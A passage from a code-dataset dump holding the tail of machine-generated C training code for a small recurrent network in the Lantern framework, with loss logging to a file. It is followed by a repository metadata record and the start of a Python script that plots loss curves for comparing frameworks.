{\nint32_t x442 = x441;\nint32_t x443 = x441 * 26;\nint32_t x444 = x443;\nfor(int x445=0; x445 < 26; x445++) {\nfor(int x446=0; x446 < 1; x446++) {\nint32_t x447 = x442;\nint32_t x448 = x447 + x446;\nfloat x449 = x440[x448];\nint32_t x450 = x444;\nint32_t x451 = x450 + x446;\nfloat x452 = x423[x451];\nfloat x453 = x449 + x452;\nx440[x448] = x453;\n\n}\nx444 += 1;\n\n}\n\n}\nx424 = 0;\nfor(int x463=0; x463 < 20; x463++) {\nfloat x464 = x403[x463];\nfloat x465 = x440[x463];\ndouble x466 = (double)x465;\ndouble x467 = log(x466);\nfloat x468 = (float)x467;\nfloat x469 = x464 + x468;\nfor(int x470=0; x470 < 26; x470++) {\nint32_t x471 = x424;\nfloat x472 = x380[x471];\nfloat x473 = x472 - x469;\nx423[x471] = x473;\nx424 += 1;\n\n}\n\n}\nfloat* x480 = (float*)myMalloc(520 * sizeof(float));;\n// nllLoss forward in CPU\nfloat* x482 = (float*)myMalloc(20 * sizeof(float));;\nint32_t x483 = 0;\nfor(int x484=0; x484 < 20; x484++) {\nint32_t x485 = x483;\nint32_t x486 = x395[x484];\nint32_t x487 = x485 + x486;\nfloat x488 = x423[x487];\nfloat x489 = -1.0f * x488;\nx482[x484] = x489;\nx483 += 26;\n\n}\nfloat* x494 = (float*)myMalloc(20 * sizeof(float));;\nfloat x495 = 0.0f;\nfor(int x496=0; x496 < 20; x496++) {\nfloat x497 = x495;\nfloat x498 = x482[x496];\nfloat x499 = x497 + x498;\nx495 = x499;\n\n}\nfloat x503 = x495;\nfloat* x504 = (float*)myMalloc(1 * sizeof(float));;\nfor(int x505=0; x505 < 1; x505++) {\nx504[x505] = x503;\n\n}\nfloat* x509 = (float*)myMalloc(1 * sizeof(float));;\nif (x305) {\n} else {\nprintf(\"dimensions not compatible for broadcasting %d, with %d,\\n\",1,1);\nassert(false && \"\");\n}\nfloat* x514 = (float*)myMalloc(1 * sizeof(float));;\nfor(int x515=0; x515 < 1; x515++) {\nfloat x516 = x326[0];\nfloat x517 = x504[0];\nfloat x518 = x516 + x517;\nx514[x515] = x518;\n\n}\nfloat* x522 = (float*)myMalloc(1 * sizeof(float));;\nfloat** x524 = (float**)myMalloc(4 * sizeof(float*));;\nx524[0] = x514;\nx524[1] = x522;\nx524[2] = x370;\nx524[3] = x379;\nint32_t x567 = 0;\nfloat* x580 = (float*)myMalloc(20 * sizeof(float));;\nint32_t x602 = 0;\nint32_t x523 = x324 + 1;\nx321(x523,x524);\n// back prop for + op\nif (x305) {\n} else {\nprintf(\"dimensions not compatible for broadcasting %d, with %d,\\n\",1,1);\nassert(false && \"\");\n}\nfor(int x536=0; x536 < 1; x536++) {\nfloat x537 = x327[0];\nfloat x538 = x326[0];\nfloat x539 = x504[0];\nfloat x540 = x522[x536];\nfloat x541 = x537 + x540;\nx327[0] = x541;\nfloat x543 = x509[0];\nfloat x544 = x326[0];\nfloat x545 = x504[0];\nfloat x546 = x522[x536];\nfloat x547 = x543 + x546;\nx509[0] = x547;\n\n}\n// 'sum' gradient.\nif (x552) {\n} else {\nprintf(\"dimensions not compatible for broadcasting %d, with %d,\\n\",20,1);\nassert(false && \"\");\n}\nfor(int x558=0; x558 < 20; x558++) {\nfloat x559 = x494[x558];\nfloat x560 = x509[0];\nfloat x561 = x559 + x560;\nx494[x558] = x561;\n\n}\n// 'nllLossB' gradient.\n// nllLoss_grad implementation in CPU\nfor(int x568=0; x568 < 20; x568++) {\nint32_t x569 = x567;\nint32_t x570 = x395[x568];\nint32_t x571 = x569 + x570;\nfloat x572 = x480[x571];\nfloat x573 = x494[x568];\nfloat x574 = -1.0f * x573;\nfloat x575 = x572 + x574;\nx480[x571] = x575;\nx567 += 26;\n\n}\nfor(int x581=0; x581 < 20; x581++) {\nint32_t x582 = x581;\nint32_t x583 = x581 * 26;\nint32_t x584 = x583;\nfor(int x585=0; x585 < 26; x585++) {\nfor(int x586=0; x586 < 1; x586++) {\nint32_t x587 = x582;\nint32_t x588 = x587 + x586;\nfloat x589 = x580[x588];\nint32_t x590 = x584;\nint32_t x591 = x590 + x586;\nfloat x592 = x480[x591];\nfloat x593 = x589 + x592;\nx580[x588] = x593;\n\n}\nx584 += 1;\n\n}\n\n}\nfor(int x603=0; x603 < 20; x603++) {\nfor(int x604=0; x604 < 26; x604++) {\nint32_t x605 = x602;\nfloat x606 = x382[x605];\nfloat x607 = x480[x605];\nfloat x608 = x423[x605];\nfloat x612 = x580[x603];\ndouble x609 = (double)x608;\ndouble x610 = exp(x609);\nfloat x611 = (float)x610;\nfloat x613 = x611 * x612;\nfloat x614 = x607 - x613;\nfloat x615 = x606 + x614;\nx382[x605] = x615;\nx602 += 1;\n\n}\n\n}\nfor(int x622=0; x622 < 20; x622++) {\nint32_t x624 = 26 * x622;\nfor(int x623=0; x623 < 26; x623++) {\nfloat x626 = x50[x623];\nint32_t x625 = x624 + x623;\nfloat x627 = x382[x625];\nfloat x628 = x626 + x627;\nx50[x623] = x628;\n\n}\n\n}\n// backprop of matrix-matrix-dot\ncblas_sgemm(CblasRowMajor, CblasNoTrans, CblasTrans, 20,50,26,1,x382,26,x40,26,1,x379,50);\ncblas_sgemm(CblasRowMajor, CblasTrans, CblasNoTrans, 50,26,20,1,x370,50,x382,26,1,x48,26);\nfor(int x637=0; x637 < 1000; x637++) {\nfloat x638 = x369[x637];\nfloat x639 = x370[x637];\nfloat x642 = x379[x637];\nfloat x640 = x639 * x639;\nfloat x641 = 1.0f - x640;\nfloat x643 = x641 * x642;\nfloat x644 = x638 + x643;\nx369[x637] = x644;\n\n}\n// back prop for + op\nfor(int x649=0; x649 < 20; x649++) {\nint32_t x651 = 50 * x649;\nfor(int x650=0; x650 < 50; x650++) {\nint32_t x652 = x651 + x650;\nfloat x653 = x354[x652];\nfloat x654 = x340[x652];\nfloat x655 = x38[x650];\nfloat x656 = x369[x652];\nfloat x657 = x653 + x656;\nx354[x652] = x657;\nfloat x659 = x39[x650];\nfloat x660 = x340[x652];\nfloat x661 = x38[x650];\nfloat x662 = x369[x652];\nfloat x663 = x659 + x662;\nx39[x650] = x663;\n\n}\n\n}\n// back prop for + op\nfor(int x670=0; x670 < 20; x670++) {\nint32_t x672 = 50 * x670;\nfor(int x671=0; x671 < 50; x671++) {\nint32_t x673 = x672 + x671;\nfloat x674 = x336[x673];\nfloat x675 = x334[x673];\nfloat x676 = x337[x673];\nfloat x677 = x354[x673];\nfloat x678 = x674 + x677;\nx336[x673] = x678;\nfloat x680 = x339[x673];\nfloat x681 = x334[x673];\nfloat x682 = x337[x673];\nfloat x683 = x354[x673];\nfloat x684 = x680 + x683;\nx339[x673] = x684;\n\n}\n\n}\n// backprop of matrix-matrix-dot\ncblas_sgemm(CblasRowMajor, CblasNoTrans, CblasTrans, 20,50,50,1,x339,50,x28,50,1,x329,50);\ncblas_sgemm(CblasRowMajor, CblasTrans, CblasNoTrans, 50,50,20,1,x328,50,x339,50,1,x37,50);\n// backprop of matrix-matrix-dot\ncblas_sgemm(CblasRowMajor, CblasNoTrans, CblasTrans, 20,26,50,1,x336,50,x17,50,1,x333,26);\ncblas_sgemm(CblasRowMajor, CblasTrans, CblasNoTrans, 26,50,20,1,x332,26,x336,50,1,x27,50);\n} else {\nfloat x697 = 0.0f;\nfor(int x698=0; x698 < 1; x698++) {\nfloat x699 = x697;\nfloat x700 = x326[x698];\nfloat x701 = x699 + x700;\nx697 = x701;\n\n}\nfloat x705 = x697;\nfloat* x706 = (float*)myMalloc(1 * sizeof(float));;\nfor(int x707=0; x707 < 1; x707++) {\nx706[x707] = x705;\n\n}\nfloat* x711 = (float*)myMalloc(1 * sizeof(float));;\n// make sure the size of loss is 1\nfor(int x713=0; x713 < 1; x713++) {\nx711[x713] = 1.0f;\n\n}\n// backend is lantern.TensorDslCPU$BackendCPU@233cbdfe\nfor(int x718=0; x718 < 1; x718++) {\nfloat x719 = x706[x718];\nx87[x718] = x719;\n\n}\n// 'sum' gradient.\nif (x305) {\n} else {\nprintf(\"dimensions not compatible for broadcasting %d, with %d,\\n\",1,1);\nassert(false && \"\");\n}\nfor(int x728=0; x728 < 1; x728++) {\nfloat x729 = x327[0];\nfloat x730 = x711[0];\nfloat x731 = x729 + x730;\nx327[0] = x731;\n\n}\n}\n};\nx59 += 400;\nint32_t x64 = x59;\nint32_t x65 = x64 + 400;\nint32_t x66 = x65 + 1;\nbool x67 = x66 >= x5;\nif (x67) {\nx59 = 0;\n} else {\n}\nint* x71 = (int32_t*)myMalloc(400 * sizeof(int32_t));;\nfor(int x74=0; x74 < 400; x74++) {\nint32_t x75 = x59;\nint32_t x76 = x75 + x74;\nint32_t x77 = x8[x76];\nx71[x74] = x77;\nint32_t x79 = x76 + 1;\nint32_t x80 = x8[x79];\nx72[x74] = x80;\n\n}\nfloat* x84 = (float*)myMalloc(1 * sizeof(float));;\nfloat* x85 = (float*)myMalloc(1 * sizeof(float));;\n// allocate memory to save the final loss in CPU Tensor\nfor(int x90=0; x90 < 20; x90++) {\nint32_t x92 = x90 * 26;\nint32_t x93 = x92 * 20;\nfor(int x91=0; x91 < 20; x91++) {\nint32_t x96 = x91 * 20;\nint32_t x97 = x96 + x90;\nint32_t x98 = x71[x97];\nint32_t x94 = x91 * 26;\nint32_t x95 = x93 + x94;\nint32_t x99 = x95 + x98;\nx88[x99] = 1.0f;\n\n}\n\n}\nfloat* x106 = (float*)myMalloc(1 * sizeof(float));;\nfloat* x107 = (float*)myMalloc(1 * sizeof(float));;\nfloat* x108 = (float*)myMalloc(1000 * sizeof(float));;\nfloat* x109 = (float*)myMalloc(1000 * sizeof(float));;\nfloat** x950 = (float**)myMalloc(4 * sizeof(float*));;\nx950[0] = x106;\nx950[1] = x107;\nx950[2] = x108;\nx950[3] = x109;\nfunction<void(int32_t,float**)> x110 = [&](int32_t x111,float** x112) {\nfloat** x114 = x112;\nfloat* x115 = x114[0];\nfloat* x116 = x114[1];\nfloat* x117 = x114[2];\nfloat* x118 = x114[3];\nint32_t x113 = x111;\nbool x119 = x113 < 20;\nif (x119) {\nint32_t x120 = x113 * 520;\nfloat* x121 = x88+x120;\nfloat* x122 = x105+x120;\nfloat* x123 = (float*)myMalloc(1000 * sizeof(float));;\ncblas_sgemm(CblasRowMajor, CblasNoTrans, CblasNoTrans, 20,50,26,1,x121,26,x17,50,0,x123,50);\nfloat* x125 = (float*)myMalloc(1000 * sizeof(float));;\nfloat* x126 = (float*)myMalloc(1000 * sizeof(float));;\ncblas_sgemm(CblasRowMajor, CblasNoTrans, CblasNoTrans, 20,50,50,1,x117,50,x28,50,0,x126,50);\nfloat* x128 = (float*)myMalloc(1000 * sizeof(float));;\nfloat* x129 = (float*)myMalloc(1000 * sizeof(float));;\nfor(int x130=0; x130 < 20; x130++) {\nint32_t x133 = 50 * x130;\nfor(int x132=0; x132 < 50; x132++) {\nint32_t x135 = x133 + x132;\nfloat x136 = x123[x135];\nfloat x137 = x126[x135];\nint32_t x134 = x132 + x133;\nfloat x138 = x136 + x137;\nx129[x134] = x138;\n\n}\n\n}\nfloat* x144 = (float*)myMalloc(1000 * sizeof(float));;\nfloat* x146 = (float*)myMalloc(1000 * sizeof(float));;\nfor(int x147=0; x147 < 20; x147++) {\nint32_t x149 = 50 * x147;\nfor(int x148=0; x148 < 50; x148++) {\nint32_t x151 = x149 + x148;\nfloat x152 = x129[x151];\nfloat x153 = x38[x148];\nint32_t x150 = x148 + x149;\nfloat x154 = x152 + x153;\nx146[x150] = x154;\n\n}\n\n}\nfloat* x160 = (float*)myMalloc(1000 * sizeof(float));;\nfloat* x161 = (float*)myMalloc(1000 * sizeof(float));;\nfor(int x163=0; x163 < 1000; x163++) {\nfloat x164 = x146[x163];\ndouble x165 = (double)x164;\ndouble x166 = tanh(x165);\nfloat x167 = (float)x166;\nx161[x163] = x167;\n\n}\nfloat* x171 = (float*)myMalloc(1000 * sizeof(float));;\nfloat* x172 = (float*)myMalloc(520 * sizeof(float));;\ncblas_sgemm(CblasRowMajor, CblasNoTrans, CblasNoTrans, 20,26,50,1,x161,50,x40,26,0,x172,26);\nfloat* x174 = (float*)myMalloc(520 * sizeof(float));;\nfor(int x175=0; x175 < 20; x175++) {\nint32_t x178 = 26 * x175;\nfor(int x177=0; x177 < 26; x177++) {\nint32_t x179 = x178 + x177;\nfloat x180 = x172[x179];\nfloat x181 = x49[x177];\nfloat x182 = x180 + x181;\nx172[x179] = x182;\n\n}\n\n}\nint* x188 = (int32_t*)myMalloc(20 * sizeof(int32_t));;\nfor(int x189=0; x189 < 20; x189++) {\nint32_t x190 = x189 * 20;\nint32_t x191 = x113 + x190;\nint32_t x192 = x72[x191];\nx188[x189] = x192;\n\n}\nfloat* x196 = (float*)myMalloc(20 * sizeof(float));;\nint32_t x197 = 0;\nfor(int x198=0; x198 < 20; x198++) {\nfloat x199 = -3.4028235E38f;\nfor(int x200=0; x200 < 26; x200++) {\nint32_t x201 = x197;\nfloat x202 = x172[x201];\nfloat x203 = x199;\nbool x204 = x202 > x203;\nif (x204) {\nfloat x205 = x172[x201];\nx199 = x205;\n} else {\n}\nx197 += 1;\n\n}\nfloat x212 = x199;\nx196[x198] = x212;\n\n}\nfloat* x216 = (float*)myMalloc(520 * sizeof(float));;\nint32_t x217 = 0;\nfor(int x218=0; x218 < 20; x218++) {\nfor(int x219=0; x219 < 26; x219++) {\nint32_t x220 = x217;\nfloat x221 = x172[x220];\nfloat x222 = x196[x218];\nfloat x223 = x221 - x222;\ndouble x224 = (double)x223;\ndouble x225 = exp(x224);\nfloat x226 = (float)x225;\nx216[x220] = x226;\nx217 += 1;\n\n}\n\n}\nfloat* x233 = (float*)myMalloc(20 * sizeof(float));;\nfor(int x234=0; x234 < 20; x234++) {\nint32_t x235 = x234;\nint32_t x236 = x234 * 26;\nint32_t x237 = x236;\nfor(int x238=0; x238 < 26; x238++) {\nfor(int x240=0; x240 < 1; x240++) {\nint32_t x241 = x235;\nint32_t x242 = x241 + x240;\nfloat x243 = x233[x242];\nint32_t x244 = x237;\nint32_t x245 = x244 + x240;\nfloat x246 = x216[x245];\nfloat x247 = x243 + x246;\nx233[x242] = x247;\n\n}\nx237 += 1;\n\n}\n\n}\nx217 = 0;\nfor(int x257=0; x257 < 20; x257++) {\nfloat x258 = x196[x257];\nfloat x259 = x233[x257];\ndouble x260 = (double)x259;\ndouble x261 = log(x260);\nfloat x262 = (float)x261;\nfloat x263 = x258 + x262;\nfor(int x264=0; x264 < 26; x264++) {\nint32_t x265 = x217;\nfloat x266 = x172[x265];\nfloat x267 = x266 - x263;\nx216[x265] = x267;\nx217 += 1;\n\n}\n\n}\nfloat* x274 = (float*)myMalloc(520 * sizeof(float));;\n// nllLoss forward in CPU\nfloat* x276 = (float*)myMalloc(20 * sizeof(float));;\nint32_t x277 = 0;\nfor(int x278=0; x278 < 20; x278++) {\nint32_t x279 = x277;\nint32_t x280 = x188[x278];\nint32_t x281 = x279 + x280;\nfloat x282 = x216[x281];\nfloat x283 = -1.0f * x282;\nx276[x278] = x283;\nx277 += 26;\n\n}\nfloat* x288 = (float*)myMalloc(20 * sizeof(float));;\nfloat x289 = 0.0f;\nfor(int x290=0; x290 < 20; x290++) {\nfloat x291 = x289;\nfloat x292 = x276[x290];\nfloat x293 = x291 + x292;\nx289 = x293;\n\n}\nfloat x297 = x289;\nfloat* x298 = (float*)myMalloc(1 * sizeof(float));;\nfor(int x299=0; x299 < 1; x299++) {\nx298[x299] = x297;\n\n}\nfloat* x303 = (float*)myMalloc(1 * sizeof(float));;\nif (x305) {\n} else {\nprintf(\"dimensions not compatible for broadcasting %d, with %d,\\n\",1,1);\nassert(false && \"\");\n}\nfloat* x311 = (float*)myMalloc(1 * sizeof(float));;\nfor(int x312=0; x312 < 1; x312++) {\nfloat x313 = x115[0];\nfloat x314 = x298[0];\nfloat x315 = x313 + x314;\nx311[x312] = x315;\n\n}\nfloat* x319 = (float*)myMalloc(1 * sizeof(float));;\nfloat** x738 = (float**)myMalloc(4 * sizeof(float*));;\nx738[0] = x311;\nx738[1] = x319;\nx738[2] = x161;\nx738[3] = x171;\nint32_t x320 = x113 + 1;\nx321(x320,x738);\n// back prop for + op\nif (x305) {\n} else {\nprintf(\"dimensions not compatible for broadcasting %d, with %d,\\n\",1,1);\nassert(false && \"\");\n}\nfor(int x750=0; x750 < 1; x750++) {\nfloat x751 = x116[0];\nfloat x752 = x115[0];\nfloat x753 = x298[0];\nfloat x754 = x319[x750];\nfloat x755 = x751 + x754;\nx116[0] = x755;\nfloat x757 = x303[0];\nfloat x758 = x115[0];\nfloat x759 = x298[0];\nfloat x760 = x319[x750];\nfloat x761 = x757 + x760;\nx303[0] = x761;\n\n}\n// 'sum' gradient.\nif (x552) {\n} else {\nprintf(\"dimensions not compatible for broadcasting %d, with %d,\\n\",20,1);\nassert(false && \"\");\n}\nfor(int x770=0; x770 < 20; x770++) {\nfloat x771 = x288[x770];\nfloat x772 = x303[0];\nfloat x773 = x771 + x772;\nx288[x770] = x773;\n\n}\n// 'nllLossB' gradient.\n// nllLoss_grad implementation in CPU\nint32_t x779 = 0;\nfor(int x780=0; x780 < 20; x780++) {\nint32_t x781 = x779;\nint32_t x782 = x188[x780];\nint32_t x783 = x781 + x782;\nfloat x784 = x274[x783];\nfloat x785 = x288[x780];\nfloat x786 = -1.0f * x785;\nfloat x787 = x784 + x786;\nx274[x783] = x787;\nx779 += 26;\n\n}\nfloat* x792 = (float*)myMalloc(20 * sizeof(float));;\nfor(int x793=0; x793 < 20; x793++) {\nint32_t x794 = x793;\nint32_t x795 = x793 * 26;\nint32_t x796 = x795;\nfor(int x797=0; x797 < 26; x797++) {\nfor(int x798=0; x798 < 1; x798++) {\nint32_t x799 = x794;\nint32_t x800 = x799 + x798;\nfloat x801 = x792[x800];\nint32_t x802 = x796;\nint32_t x803 = x802 + x798;\nfloat x804 = x274[x803];\nfloat x805 = x801 + x804;\nx792[x800] = x805;\n\n}\nx796 += 1;\n\n}\n\n}\nint32_t x814 = 0;\nfor(int x815=0; x815 < 20; x815++) {\nfor(int x816=0; x816 < 26; x816++) {\nint32_t x817 = x814;\nfloat x818 = x174[x817];\nfloat x819 = x274[x817];\nfloat x820 = x216[x817];\nfloat x824 = x792[x815];\ndouble x821 = (double)x820;\ndouble x822 = exp(x821);\nfloat x823 = (float)x822;\nfloat x825 = x823 * x824;\nfloat x826 = x819 - x825;\nfloat x827 = x818 + x826;\nx174[x817] = x827;\nx814 += 1;\n\n}\n\n}\nfor(int x834=0; x834 < 20; x834++) {\nint32_t x836 = 26 * x834;\nfor(int x835=0; x835 < 26; x835++) {\nfloat x838 = x50[x835];\nint32_t x837 = x836 + x835;\nfloat x839 = x174[x837];\nfloat x840 = x838 + x839;\nx50[x835] = x840;\n\n}\n\n}\n// backprop of matrix-matrix-dot\ncblas_sgemm(CblasRowMajor, CblasNoTrans, CblasTrans, 20,50,26,1,x174,26,x40,26,1,x171,50);\ncblas_sgemm(CblasRowMajor, CblasTrans, CblasNoTrans, 50,26,20,1,x161,50,x174,26,1,x48,26);\nfor(int x849=0; x849 < 1000; x849++) {\nfloat x850 = x160[x849];\nfloat x851 = x161[x849];\nfloat x854 = x171[x849];\nfloat x852 = x851 * x851;\nfloat x853 = 1.0f - x852;\nfloat x855 = x853 * x854;\nfloat x856 = x850 + x855;\nx160[x849] = x856;\n\n}\n// back prop for + op\nfor(int x861=0; x861 < 20; x861++) {\nint32_t x863 = 50 * x861;\nfor(int x862=0; x862 < 50; x862++) {\nint32_t x864 = x863 + x862;\nfloat x865 = x144[x864];\nfloat x866 = x129[x864];\nfloat x867 = x38[x862];\nfloat x868 = x160[x864];\nfloat x869 = x865 + x868;\nx144[x864] = x869;\nfloat x871 = x39[x862];\nfloat x872 = x129[x864];\nfloat x873 = x38[x862];\nfloat x874 = x160[x864];\nfloat x875 = x871 + x874;\nx39[x862] = x875;\n\n}\n\n}\n// back prop for + op\nfor(int x882=0; x882 < 20; x882++) {\nint32_t x884 = 50 * x882;\nfor(int x883=0; x883 < 50; x883++) {\nint32_t x885 = x884 + x883;\nfloat x886 = x125[x885];\nfloat x887 = x123[x885];\nfloat x888 = x126[x885];\nfloat x889 = x144[x885];\nfloat x890 = x886 + x889;\nx125[x885] = x890;\nfloat x892 = x128[x885];\nfloat x893 = x123[x885];\nfloat x894 = x126[x885];\nfloat x895 = x144[x885];\nfloat x896 = x892 + x895;\nx128[x885] = x896;\n\n}\n\n}\n// backprop of matrix-matrix-dot\ncblas_sgemm(CblasRowMajor, CblasNoTrans, CblasTrans, 20,50,50,1,x128,50,x28,50,1,x118,50);\ncblas_sgemm(CblasRowMajor, CblasTrans, CblasNoTrans, 50,50,20,1,x117,50,x128,50,1,x37,50);\n// backprop of matrix-matrix-dot\ncblas_sgemm(CblasRowMajor, CblasNoTrans, CblasTrans, 20,26,50,1,x125,50,x17,50,1,x122,26);\ncblas_sgemm(CblasRowMajor, CblasTrans, CblasNoTrans, 26,50,20,1,x121,26,x125,50,1,x27,50);\n} else {\nfloat x909 = 0.0f;\nfor(int x910=0; x910 < 1; x910++) {\nfloat x911 = x909;\nfloat x912 = x115[x910];\nfloat x913 = x911 + x912;\nx909 = x913;\n\n}\nfloat x917 = x909;\nfloat* x918 = (float*)myMalloc(1 * sizeof(float));;\nfor(int x919=0; x919 < 1; x919++) {\nx918[x919] = x917;\n\n}\nfloat* x923 = (float*)myMalloc(1 * sizeof(float));;\n// make sure the size of loss is 1\nfor(int x925=0; x925 < 1; x925++) {\nx923[x925] = 1.0f;\n\n}\n// backend is lantern.TensorDslCPU$BackendCPU@233cbdfe\nfor(int x930=0; x930 < 1; x930++) {\nfloat x931 = x918[x930];\nx87[x930] = x931;\n\n}\n// 'sum' gradient.\nif (x305) {\n} else {\nprintf(\"dimensions not compatible for broadcasting %d, with %d,\\n\",1,1);\nassert(false && \"\");\n}\nfor(int x940=0; x940 < 1; x940++) {\nfloat x941 = x116[0];\nfloat x942 = x923[0];\nfloat x943 = x941 + x942;\nx116[0] = x943;\n\n}\n}\n};\nx110(0,x950);\nfloat x957 = x87[0];\nint32_t x958 = x62 % 100;\nbool x959 = x958 == 0;\nif (x959) {\nprintf(\"iter %d, loss %f\\n\",x62,x957);\nint32_t x961 = x62 / 100;\ndouble x962 = (double)x957;\nx56[x961] = x962;\n} else {\n}\nfor(int x966=0; x966 < 26; x966++) {\nfloat x967 = x50[x966];\nfloat x968 = x967;\nfloat x969 = x968;\nbool x970 = x969 > 5.0f;\nif (x970) {\nx968 = 5.0f;\n} else {\n}\nfloat x974 = x968;\nbool x975 = x974 < -5.0f;\nif (x975) {\nx968 = -5.0f;\n} else {\n}\nfloat x979 = x51[x966];\nfloat x980 = x968;\nfloat x981 = x980 * x980;\nfloat x982 = x979 + x981;\nx51[x966] = x982;\nfloat x984 = x49[x966];\nfloat x986 = x51[x966];\nfloat x985 = 0.1f * x980;\ndouble x987 = (double)x986;\ndouble x988 = x987 + 9.99999993922529E-9;\ndouble x989 = sqrt(x988);\nfloat x990 = (float)x989;\nfloat x991 = x985 / x990;\nfloat x992 = x984 - x991;\nx49[x966] = x992;\nx50[x966] = 0.0f;\n\n}\nfor(int x997=0; x997 < 1300; x997++) {\nfloat x998 = x48[x997];\nfloat x999 = x998;\nfloat x1000 = x999;\nbool x1001 = x1000 > 5.0f;\nif (x1001) {\nx999 = 5.0f;\n} else {\n}\nfloat x1005 = x999;\nbool x1006 = x1005 < -5.0f;\nif (x1006) {\nx999 = -5.0f;\n} else {\n}\nfloat x1010 = x52[x997];\nfloat x1011 = x999;\nfloat x1012 = x1011 * x1011;\nfloat x1013 = x1010 + x1012;\nx52[x997] = x1013;\nfloat x1015 = x40[x997];\nfloat x1017 = x52[x997];\nfloat x1016 = 0.1f * x1011;\ndouble x1018 = (double)x1017;\ndouble x1019 = x1018 + 9.99999993922529E-9;\ndouble x1020 = sqrt(x1019);\nfloat x1021 = (float)x1020;\nfloat x1022 = x1016 / x1021;\nfloat x1023 = x1015 - x1022;\nx40[x997] = x1023;\nx48[x997] = 0.0f;\n\n}\nfor(int x1028=0; x1028 < 2500; x1028++) {\nfloat x1029 = x37[x1028];\nfloat x1030 = x1029;\nfloat x1031 = x1030;\nbool x1032 = x1031 > 5.0f;\nif (x1032) {\nx1030 = 5.0f;\n} else {\n}\nfloat x1036 = x1030;\nbool x1037 = x1036 < -5.0f;\nif (x1037) {\nx1030 = -5.0f;\n} else {\n}\nfloat x1041 = x53[x1028];\nfloat x1042 = x1030;\nfloat x1043 = x1042 * x1042;\nfloat x1044 = x1041 + x1043;\nx53[x1028] = x1044;\nfloat x1046 = x28[x1028];\nfloat x1048 = x53[x1028];\nfloat x1047 = 0.1f * x1042;\ndouble x1049 = (double)x1048;\ndouble x1050 = x1049 + 9.99999993922529E-9;\ndouble x1051 = sqrt(x1050);\nfloat x1052 = (float)x1051;\nfloat x1053 = x1047 / x1052;\nfloat x1054 = x1046 - x1053;\nx28[x1028] = x1054;\nx37[x1028] = 0.0f;\n\n}\nfor(int x1059=0; x1059 < 50; x1059++) {\nfloat x1060 = x39[x1059];\nfloat x1061 = x1060;\nfloat x1062 = x1061;\nbool x1063 = x1062 > 5.0f;\nif (x1063) {\nx1061 = 5.0f;\n} else {\n}\nfloat x1067 = x1061;\nbool x1068 = x1067 < -5.0f;\nif (x1068) {\nx1061 = -5.0f;\n} else {\n}\nfloat x1072 = x54[x1059];\nfloat x1073 = x1061;\nfloat x1074 = x1073 * x1073;\nfloat x1075 = x1072 + x1074;\nx54[x1059] = x1075;\nfloat x1077 = x38[x1059];\nfloat x1079 = x54[x1059];\nfloat x1078 = 0.1f * x1073;\ndouble x1080 = (double)x1079;\ndouble x1081 = x1080 + 9.99999993922529E-9;\ndouble x1082 = sqrt(x1081);\nfloat x1083 = (float)x1082;\nfloat x1084 = x1078 / x1083;\nfloat x1085 = x1077 - x1084;\nx38[x1059] = x1085;\nx39[x1059] = 0.0f;\n\n}\nfor(int x1090=0; x1090 < 1300; x1090++) {\nfloat x1091 = x27[x1090];\nfloat x1092 = x1091;\nfloat x1093 = x1092;\nbool x1094 = x1093 > 5.0f;\nif (x1094) {\nx1092 = 5.0f;\n} else {\n}\nfloat x1098 = x1092;\nbool x1099 = x1098 < -5.0f;\nif (x1099) {\nx1092 = -5.0f;\n} else {\n}\nfloat x1103 = x55[x1090];\nfloat x1104 = x1092;\nfloat x1105 = x1104 * x1104;\nfloat x1106 = x1103 + x1105;\nx55[x1090] = x1106;\nfloat x1108 = x17[x1090];\nfloat x1110 = x55[x1090];\nfloat x1109 = 0.1f * x1104;\ndouble x1111 = (double)x1110;\ndouble x1112 = x1111 + 9.99999993922529E-9;\ndouble x1113 = sqrt(x1112);\nfloat x1114 = (float)x1113;\nfloat x1115 = x1109 / x1114;\nfloat x1116 = x1108 - x1115;\nx17[x1090] = x1116;\nx27[x1090] = 0.0f;\n\n}\nint64_t x1121 = (long)mallocAddr;\nint64_t x1122 = x1121 - x58;\nmemset((void*)x58, 0, x1122);\nmallocAddr = (void*)x58;\n\n}\ndouble x1127 = ((double)clock() / CLOCKS_PER_SEC);\nint64_t x1130 = (long)fopen(x0, \"w\");\nfprintf((FILE *)x1130, \"unit: %s\\n\", \"100 iteration\");\nfor(int x1133=0; x1133 < 51; x1133++) {\ndouble x1134 = x56[x1133];\nfprintf((FILE *)x1130, \"%lf\\n\", x1134);\n\n}\ndouble x1128 = x57 - x2;\ndouble x1129 = x1127 - x57;\nfprintf((FILE *)x1130, \"run time: %lf %lf\\n\", x1128, x1129);\nfclose((FILE*)x1130);\n// Backend cleanup.\n}\n/*****************************************\n End of C Generated Code \n*******************************************/\n\n" }, { "alpha_fraction": 0.5829750895500183, "alphanum_fraction": 0.6093436479568481, "avg_line_length": 27.598360061645508, "blob_id": "ec10c147c7485cf5f3d4fe9d6a57e0bc629d8ee8", "content_id": "701b29c23d7db7923a291d8017c88f1036c4a091", "detected_licenses": [ "BSD-3-Clause" ], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 3489, "license_type": "permissive", "max_line_length": 96, "num_lines": 122, "path": "/src/out/ICFP18evaluation/plot.py", "repo_name": "supunab/Lantern", "src_encoding": "UTF-8", "text": "#! /usr/bin/python\n\ndef get_data(filename):\n #print(\"retrieving data from \" + filename)\n loss_save = []\n with open(filename, 'r') as f:\n for line in f:\n line = line.rstrip()\n if line.startswith(\"unit:\"):\n unit = line.split(':')[1]\n elif line.startswith(\"run time:\"):\n runtime = line.split(':')[1].split()\n assert(len(runtime) == 2)\n elif len(line) > 0:\n loss_save.append(float(line))\n return [unit, runtime, loss_save]\n \ndef getLabelFromFileName(filename):\n return filename.split('.')[0].split('_')[1]\n\ndef getColor(label):\n if label == 'Numpy':\n return 'g'\n if label == 'Lantern':\n return 'b'\n if label == 'PyTorch' or label == 'PyTorch1':\n return 'r'\n if label == 'PyTorch20' or label == 'PyTorch100':\n return 'c'\n if label == 'TensorFlow' or label == 'TensorFlow1' or label == 'TF' or label == 'TF1':\n return 'y'\n if label == 'TensorFlow20' or label == 'TensorFlow100' or label == 'TF20' or label == 'TF100':\n return 'm'\n if label == 'TensorFold' or label == 'TensorFold1':\n return 'y'\n if label == 'TensorFold20' or label == 'TensorFold100':\n return 'm'\n else:\n print(\"NOTE: color not defined for label: %s\" % label)\n\ndef plot(files, model):\n # save dir \n save_dir = '../save_fig/'\n import os\n if not os.path.exists(save_dir):\n os.makedirs(save_dir)\n\n datas = {}\n labels = []\n for file1 in files:\n label = getLabelFromFileName(file1) \n datas[label] = get_data(file1)\n labels.append(label)\n\n # now plot\n import numpy as np\n import matplotlib.pyplot as plt\n import pylab\n \n # 